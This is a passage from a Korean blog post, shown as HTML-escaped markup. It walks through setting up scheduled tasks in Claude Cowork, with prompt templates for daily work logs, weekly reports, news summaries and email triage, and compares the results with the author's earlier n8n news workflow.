&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 2: 새 작업 만들기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;New Task&quot; 버튼을 클릭하고 다음 작업을 입력한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;&quot;안녕 Claude! 매일 아침 9시에
'좋은 아침이에요. 오늘 할 일을 정리해드릴게요'라고
인사하며 간단한 동기부여 메시지를 보내주세요.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 3: 스케줄 설정&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Schedule&quot; 옵션을 선택하고 &quot;매일 아침 9시&quot;로 설정한다.&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 4: 저장 및 활성화&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Save&quot;를 클릭하여 스케줄을 저장한다. 완료!&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;완료!&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;내일 아침 9시에 Claude가 자동으로 인사 메시지를 보낼 것이다.&lt;br /&gt;대시보드에서 &quot;다음 실행 시간&quot;을 확인할 수 있다.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px; border-radius: 8px; margin: 15px 0; border: 1px dashed #b3d9ff; text-align: center;&quot;&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo9DUO%2FdJMcafyV5dI%2FiROZNDM3yUS0VvA77y9Y51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2228&quot; height=&quot;850&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0px; color: #666666; font-size: 14px; text-align: left;&quot; data-ke-size=&quot;size14&quot;&gt;ex) 예약된 작업 생성 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;1304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dS4HFZ/dJMcahjeh1C/uEZKsS12gj4q7oxbxiTK41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dS4HFZ/dJMcahjeh1C/uEZKsS12gj4q7oxbxiTK41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dS4HFZ/dJMcahjeh1C/uEZKsS12gj4q7oxbxiTK41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdS4HFZ%2FdJMcahjeh1C%2FuEZKsS12gj4q7oxbxiTK41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;386&quot; height=&quot;534&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;1304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1780&quot; data-origin-height=&quot;664&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIplfc/dJMcaflnNOq/rDqyUjUhzHusuTSOJNA1L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIplfc/dJMcaflnNOq/rDqyUjUhzHusuTSOJNA1L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIplfc/dJMcaflnNOq/rDqyUjUhzHusuTSOJNA1L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIplfc%2FdJMcaflnNOq%2FrDqyUjUhzHusuTSOJNA1L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1780&quot; height=&quot;664&quot; data-origin-width=&quot;1780&quot; data-origin-height=&quot;664&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0px; color: #666666; font-size: 14px; text-align: left;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;- 바로 실행하여 테스트&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1496&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf2fQX/dJMcaaj489n/DKa6b4soGt1t9ymmwKAYB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf2fQX/dJMcaaj489n/DKa6b4soGt1t9ymmwKAYB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf2fQX/dJMcaaj489n/DKa6b4soGt1t9ymmwKAYB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf2fQX%2FdJMcaaj489n%2FDKa6b4soGt1t9ymmwKAYB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1496&quot; height=&quot;546&quot; data-origin-width=&quot;1496&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;1454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wmIFL/dJMcaaj4891/SdbWrN0xANeKk4Mc4rX9XK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wmIFL/dJMcaaj4891/SdbWrN0xANeKk4Mc4rX9XK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wmIFL/dJMcaaj4891/SdbWrN0xANeKk4Mc4rX9XK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwmIFL%2FdJMcaaj4891%2FSdbWrN0xANeKk4Mc4rX9XK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2036&quot; height=&quot;1454&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;1454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0px; color: #666666; font-size: 14px; text-align: left;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;br /&gt;ex) 사실 이미 이 화면은 &lt;b&gt;Claude for Chrome&lt;/b&gt;에서 자주 보던 화면이랑 거의 동일하게 생겼다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; color: #666666; font-size: 14px; text-align: left;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; (Clade For Chrome 화면 일부 캡쳐)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;974&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bT6muu/dJMcagxNVUS/qAR5RtU0y5glo7PmPDT0wK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bT6muu/dJMcagxNVUS/qAR5RtU0y5glo7PmPDT0wK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bT6muu/dJMcagxNVUS/qAR5RtU0y5glo7PmPDT0wK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbT6muu%2FdJMcagxNVUS%2FqAR5RtU0y5glo7PmPDT0wK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;521&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;974&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;사용 예시&lt;br /&gt;템플릿 1: 매일 아침 업무 일지&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;clean&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;전날의 Git 커밋 로그를 확인하여 다음 형식으로 업무 일지를 작성해주세요:

##  YYYY-MM-DD 업무 일지

### 완료한 작업
- [작업 내용]

### 진행 중인 작업
- [작업 내용]

### 내일 할 일
- [작업 내용]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;템플릿 2: 주간 보고서&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;clean&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;이번 주 프로젝트 진행상황을 분석하고 주간 보고서를 작성해주세요:

##  주간 보고서 (YYYY-MM-DD ~ YYYY-MM-DD)

### 주요 성과
- [성과 내용]

### 해결한 문제
- [문제와 해결방안]

### 다음 주 계획
- [계획 내용]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;템플릿 3: 뉴스 요약&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;오늘의 AI/기술 뉴스를 찾아서 3개 이내로 요약해주세요.

각 뉴스는 다음 형식으로 작성:
- [뉴스 제목]: [1-2문장 요약]

출처: 뉴스 링크&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;템플릿 4: 이메일 정리&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;clean&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;내 이메일을 확인하고 중요한 이메일을 분류해주세요.

##  오늘의 이메일 요약

### 긴급 응답 필요
- [이메일 제목] - [발신자]

### 오늘 처리 가능
- [이메일 제목] - [발신자]

### 나중에 확인
- [이메일 제목] - [발신자]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;사실 현재 우리나라 많은 사람들은 지금 주식에 관심이 많을테니.... 여태까지는 browser 자동화, n8n or make 같은 자동화툴로 받아 보던 내용을 코워크에게 시키면 괜찮을 것 같다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 데일리 주식 코인 브리핑 &amp;gt; 개인적으로는 데충 쓴 지시사항에 비해 괜찮은 퀄리티로 보여 Opus 모델로 변경하고, 개선해볼 예정.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;1448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wty7L/dJMcaiI8XDr/qBAtO7RlqLdJiaxvQyQYxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wty7L/dJMcaiI8XDr/qBAtO7RlqLdJiaxvQyQYxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wty7L/dJMcaiI8XDr/qBAtO7RlqLdJiaxvQyQYxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwty7L%2FdJMcaiI8XDr%2FqBAtO7RlqLdJiaxvQyQYxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;700&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;1448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 수행 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;2334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnVUAo/dJMcagYTgSo/xItrvaCqzRPYRNUabV7El0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnVUAo/dJMcagYTgSo/xItrvaCqzRPYRNUabV7El0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnVUAo/dJMcagYTgSo/xItrvaCqzRPYRNUabV7El0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnVUAo%2FdJMcagYTgSo%2FxItrvaCqzRPYRNUabV7El0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1228&quot; height=&quot;2334&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;2334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;2226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dX9nMz/dJMcajuwKCR/WkfQb2Hgk4VlJe896OQbw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dX9nMz/dJMcajuwKCR/WkfQb2Hgk4VlJe896OQbw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dX9nMz/dJMcajuwKCR/WkfQb2Hgk4VlJe896OQbw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdX9nMz%2FdJMcajuwKCR%2FWkfQb2Hgk4VlJe896OQbw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;2226&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;2226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 내 AI 뉴스 브리핑 workflow도 이제...삭제 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 기존 workflow....&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2730&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVL2X9/dJMb99Mdxn9/fPbyj8HC8kILY4byk7kkyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVL2X9/dJMb99Mdxn9/fPbyj8HC8kILY4byk7kkyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVL2X9/dJMb99Mdxn9/fPbyj8HC8kILY4byk7kkyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVL2X9%2FdJMb99Mdxn9%2FfPbyj8HC8kILY4byk7kkyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2730&quot; height=&quot;840&quot; data-origin-width=&quot;2730&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;nbsp;- 지금은 블로그 포스팅용이어서 데충 프롬프팅했지만 위의 내용을 잘 정리해서 코워크에게 전달하면 잘해주겠지 싶다.&amp;nbsp; API 방식이 아닌 사용하고 있는 구독형 플랜에서도 가능하니 전환 해보려 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFblPb/dJMcahXN90f/vQS9Xf1ThZKYqmtirTvD41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFblPb/dJMcahXN90f/vQS9Xf1ThZKYqmtirTvD41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFblPb/dJMcahXN90f/vQS9Xf1ThZKYqmtirTvD41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFblPb%2FdJMcahXN90f%2FvQS9Xf1ThZKYqmtirTvD41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;391&quot; height=&quot;565&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1388&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- n8n으으로 받아보고 있던 AI 뉴스 vs 데충짠 코웍크발 ai 뉴스&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b301fF/dJMcaiPTVL3/LLCD859gBXpIYDkDICnq7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b301fF/dJMcaiPTVL3/LLCD859gBXpIYDkDICnq7k/img.png&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;3034&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.4574%; margin-right: 10px;&quot; data-widthpercent=&quot;54.09&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b301fF/dJMcaiPTVL3/LLCD859gBXpIYDkDICnq7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb301fF%2FdJMcaiPTVL3%2FLLCD859gBXpIYDkDICnq7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1520&quot; height=&quot;3034&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjcbpY/dJMcaf6KIiy/3v6s6EbydZc5LMmGdcbNz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjcbpY/dJMcaf6KIiy/3v6s6EbydZc5LMmGdcbNz0/img.png&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;2958&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;45.91&quot; style=&quot;width: 45.3798%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjcbpY/dJMcaf6KIiy/3v6s6EbydZc5LMmGdcbNz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjcbpY%2FdJMcaf6KIiy%2F3v6s6EbydZc5LMmGdcbNz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;2958&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;n8n vs cowork&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;조금만 수정하면 되겠구나.............. ㅠㅠ&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;n8n에서 돌고있던 workflow를 한 두개씩 계속 정지 시키고있는데&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭔가 정들었던 n8n에게 소홀해 지는것 같아 아쉬운 마음이 든다. ㅠㅠ&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 난 백엔드 api 처럼도 쓰기도 하고, 다양하게 활용하고 있어서 n8n을 다 대체한다는 개념은 아니지만&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점점 그냥 클로드 하나만 쓰면 언젠가 다 대체를 해버릴 것 같은 생각에 조금 생각에 잠기는것 같다. ㅎㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 사용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예약 작업을 활용한 실용적인 사용 사례들을 살펴본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모닝 브리프 (Daily Morning Brief)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매일 아침 정해진 시간에 전날의 업무 일지를 자동으로 생성한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;작업: &quot;전날 Git 커밋 로그를 확인하여 업무 일지 작성&quot;
스케줄: 매일 오전 9시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 출근하자마자 어제의 작업 내용을 확인할 수 있다. 하루를 시작하는 업무 맥락을 제공한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주간 스프린트 업데이트 (Weekly Spreadsheet Updates)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 정해진 요일에 주간 데이터를 정리하고 스프레드시트를 자동으로 업데이트한다.&lt;/p&gt;
